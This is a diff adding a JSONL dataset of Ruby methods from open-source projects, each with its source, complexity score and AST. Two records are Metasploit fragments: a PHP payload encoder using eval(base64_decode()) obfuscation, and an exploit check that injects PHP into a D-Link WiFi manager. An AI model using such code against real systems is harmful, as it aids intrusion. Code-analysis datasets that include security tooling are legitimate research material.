diff --git "a/dataset/val.jsonl" "b/dataset/val.jsonl"
new file mode 100644--- /dev/null
+++ "b/dataset/val.jsonl"
@@ -0,0 +1,3368 @@
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2436,"raw_source":"def builds_enabled?\n !!project_feature&.builds_enabled?\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"builds_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"builds_enabled?\"]},\"!\"]},\"!\"]}]}","id":"40b3f25d-5243-42cf-8e19-7edde027eef7"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":182,"raw_source":"def new_commits(newrev)\n commits = raw.new_commits(newrev)\n\n ::Commit.decorate(commits, container)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"newrev\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"new_commits\",{\"type\":\"lvar\",\"children\":[\"newrev\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Commit\"]},\"decorate\",{\"type\":\"lvar\",\"children\":[\"commits\"]},{\"type\":\"send\",\"children\":[null,\"container\"]}]}]}]}","id":"e3ed5747-34d2-48cb-82b7-3cc5f6b27f27"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/git.rb","start_line":187,"raw_source":"def info\n Info.new(root_url: url, lastrev: lastrev(\"\", nil))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Info\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lastrev\"]},{\"type\":\"send\",\"children\":[null,\"lastrev\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"0ac88cf7-3df6-47db-92fe-345b85bd5b73"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":95,"raw_source":"def route_defined?(name)\n key = name.to_sym\n @path_helpers.include?(key) || @url_helpers.include?(key)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"route_defined?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path_helpers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@url_helpers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"2b391c2b-987a-47ee-a581-9cd17e17ccea"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base.rb","start_line":871,"raw_source":"def update_category_featured_topics\n puts \"\", \"Updating featured topics in categories\"\n\n count = 0\n total = Category.count\n\n Category.find_each do |category|\n CategoryFeaturedTopic.feature_topics_for(category)\n print_status(count += 1, total, get_start_time(\"category_featured_topics\"))\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_category_featured_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Updating featured topics in categories\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryFeaturedTopic\"]},\"feature_topics_for\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[null,\"get_start_time\",{\"type\":\"str\",\"children\":[\"category_featured_topics\"]}]}]}]}]}]}]}","id":"4147ea18-c90e-433a-8498-47214bc33462"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/lib/open_project/boards/grid_registration.rb","start_line":70,"raw_source":"def in_project_with_permission(user, permission)\n super_visible\n .where(project_id: Project.allowed_to(user, permission))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"in_project_with_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"super_visible\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}]}]}","id":"91f9fb70-45f8-4d79-896c-f1db7dc855ca"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/attachment_batch.rb","start_line":133,"raw_source":"def bucket\n @bucket ||= records.first.public_send(@attachment_names.first).s3_bucket\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bucket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bucket\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records\"]},\"first\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment_names\"]},\"first\"]}]},\"s3_bucket\"]}]}]}","id":"99ff73e0-73f8-42c7-95b5-5c2c10cdebf8"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/app/menus/team_planner/menu.rb","start_line":32,"raw_source":"def initialize(project: nil, params: nil)\n @view_type = \"team_planner\"\n @project = project\n @params = params\n\n super(view_type:, project:, params:)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@view_type\",{\"type\":\"str\",\"children\":[\"team_planner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view_type\"]},{\"type\":\"send\",\"children\":[null,\"view_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"20f22753-ae4b-48ee-ab90-d2a57507a728"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/ext_management_system_spec.rb","start_line":667,"raw_source":"def deliver_queue_message(queue_message = MiqQueue.order(:id).first)\n queue_message.deliver_and_process\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_queue_message\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"queue_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_message\"]},\"deliver_and_process\"]}]}","id":"a197c22e-c2dd-4edb-a277-7e3ae0182e91"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/create_service.rb","start_line":145,"raw_source":"def organization_setting_valid?\n # we check for the params presence explicitly since:\n # 1. We have a default organization_id at db level set and organization exists and may not have the entry\n # in organization_users table to allow authorization. This shouldn't be the case longterm as we\n # plan on populating organization_users correctly.\n # 2. We shouldn't need to check if this is allowed if the user didn't try to set it themselves. i.e.\n # provided in the params\n return true if params[:organization_id].blank?\n # There is a chance the organization is still blank(if not default organization), but that is the only case\n # where we should allow this to not actually be a record in the database.\n # Otherwise it isn't valid to set this to a non-existent record id and we'll check that in the lines after\n # this code.\n return true if @group.organization.blank? && Organizations::Organization.default?(params[:organization_id])\n\n can_create_group_in_organization? && matches_parent_organization?\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_setting_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"organization\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organizations\"]},\"Organization\"]},\"default?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_create_group_in_organization?\"]},{\"type\":\"send\",\"children\":[null,\"matches_parent_organization?\"]}]}]}]}","id":"6aa39846-f0f4-44f8-8512-e5c17696cd71"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/php/base64.rb","start_line":9,"raw_source":"def initialize\n super(\n 'Name' => 'PHP Base64 Encoder',\n 'Description' => %q{\n This encoder returns a base64 string encapsulated in\n eval(base64_decode()), increasing the size by a bit more than\n one third.\n },\n 'Author' => 'egypt',\n 'License' => BSD_LICENSE,\n 'Arch' => ARCH_PHP)\n register_options(\n [\n OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.\n ]\n )\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PHP Base64 Encoder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This encoder returns a base64 string encapsulated in\\n\"]},{\"type\":\"str\",\"children\":[\" eval(base64_decode()), increasing the size by a bit more than\\n\"]},{\"type\":\"str\",\"children\":[\" one third.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"Compress\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Compress the payload with zlib\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"c22bf437-bfe8-43af-87cb-f43b278db21a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/creates_commit.rb","start_line":169,"raw_source":"def create_merge_request?\n # Even if the field is set, if we're checking the same branch\n # as the target branch in the same project,\n # we don't want to create a merge request.\n # FIXME: We should use either 1 or true, not both.\n ActiveModel::Type::Boolean.new.cast(params[:create_merge_request]) &&\n (@different_project || @start_branch != @branch_name) # rubocop:disable Gitlab/ModuleWithInstanceVariables\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_merge_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"create_merge_request\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@different_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_branch\"]},\"!=\",{\"type\":\"ivar\",\"children\":[\"@branch_name\"]}]}]}]}]}]}","id":"9eddcf63-bdec-4a5e-90ba-d141c0e5a35b"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_serializer.rb","start_line":386,"raw_source":"def system_user_avatar_template\n Discourse.system_user.avatar_template\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"system_user_avatar_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},\"avatar_template\"]}]}","id":"6cb18150-e370-4586-b2e6-87931db79f83"}
+{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":601,"raw_source":"def retry\n remove_job do |message|\n msg = Sidekiq.load_json(message)\n msg[\"retry_count\"] -= 1 if msg[\"retry_count\"]\n Sidekiq::Client.push(msg)\n end\n end","complexity_score":8.33,"ast_json":"{\"type\":\"def\",\"children\":[\"retry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_job\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry_count\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry_count\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"5d03a038-3ebb-4c46-a1f9-58d43adc8e62"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container_project.rb","start_line":118,"raw_source":"def self.create_container_project(ems_id, options = {})\n ems = ExtManagementSystem.find_by(:id => ems_id)\n raise ArgumentError, _(\"EMS cannot be nil\") if ems.nil?\n\n klass = ems.class_by_ems(:ContainerProject)\n klass.raw_create_container_project(ems, options)\n end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_container_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ems\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"EMS cannot be nil\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"class_by_ems\",{\"type\":\"sym\",\"children\":[\"ContainerProject\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"raw_create_container_project\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c5c8b9e7-f0e8-4281-a111-e4a827dca91e"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/scheduled_status.rb","start_line":29,"raw_source":"def validate_future_date\n errors.add(:scheduled_at, I18n.t('scheduled_statuses.too_soon')) if scheduled_at.present? && scheduled_at <= Time.now.utc + MINIMUM_OFFSET\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_future_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled_at\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"MINIMUM_OFFSET\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"scheduled_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"scheduled_statuses.too_soon\"]}]}]},null]}]}","id":"90f17d28-c922-41c6-89de-48cf5f6d794c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dlink_central_wifimanager_rce.rb","start_line":69,"raw_source":"def check\n rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))\n if inject_php(\"echo \\\"#{rand_text}\\\"\")&.chomp == rand_text\n return Exploit::CheckCode::Vulnerable\n end\n\n Exploit::CheckCode::Unknown\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inject_php\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_text\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"chomp\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"rand_text\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"5581e2a3-2a91-444b-9ddd-dbd98c0a075a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/managed_folder_sync_service.rb","start_line":36,"raw_source":"def call(storage)\n new(storage).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"call\"]}]}","id":"645994fe-7fb2-4e53-9116-da35638c9270"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":930,"raw_source":"def ordered_tag_adjustments\n tag_adjustments.includes(:user).order(:created_at).reverse\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_tag_adjustments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_adjustments\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},\"reverse\"]}]}","id":"aa82586e-029e-48c8-966e-c10dd0b63279"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/file_depot_ftp.rb","start_line":67,"raw_source":"def connect(cred_hash = nil)\n host = URI(uri).hostname\n\n begin\n _log.info(\"Connecting to #{self.class.name}: #{name} host: #{host}...\")\n @ftp = Net::FTP.new(host)\n @ftp.passive = true # Use passive mode to avoid firewall issues see http://slacksite.com/other/ftp.html#passive\n # @ftp.debug_mode = true if settings[:debug] # TODO: add debug option\n creds = cred_hash ? [cred_hash[:username], cred_hash[:password]] : login_credentials\n @ftp.login(*creds)\n _log.info(\"Connected to #{self.class.name}: #{name} host: #{host}\")\n rescue SocketError => err\n _log.error(\"Failed to connect. #{err.message}\")\n raise\n rescue Net::FTPPermError => err\n _log.error(\"Failed to login. #{err.message}\")\n raise\n else\n @ftp\n end\n end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cred_hash\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]},\"hostname\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ftp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"FTP\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ftp\"]},\"passive=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[null,\"login_credentials\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ftp\"]},\"login\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SocketError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to connect. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"FTPPermError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to login. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@ftp\"]}]}]}]}]}","id":"582983e1-4078-428c-8dca-724c229f1467"}
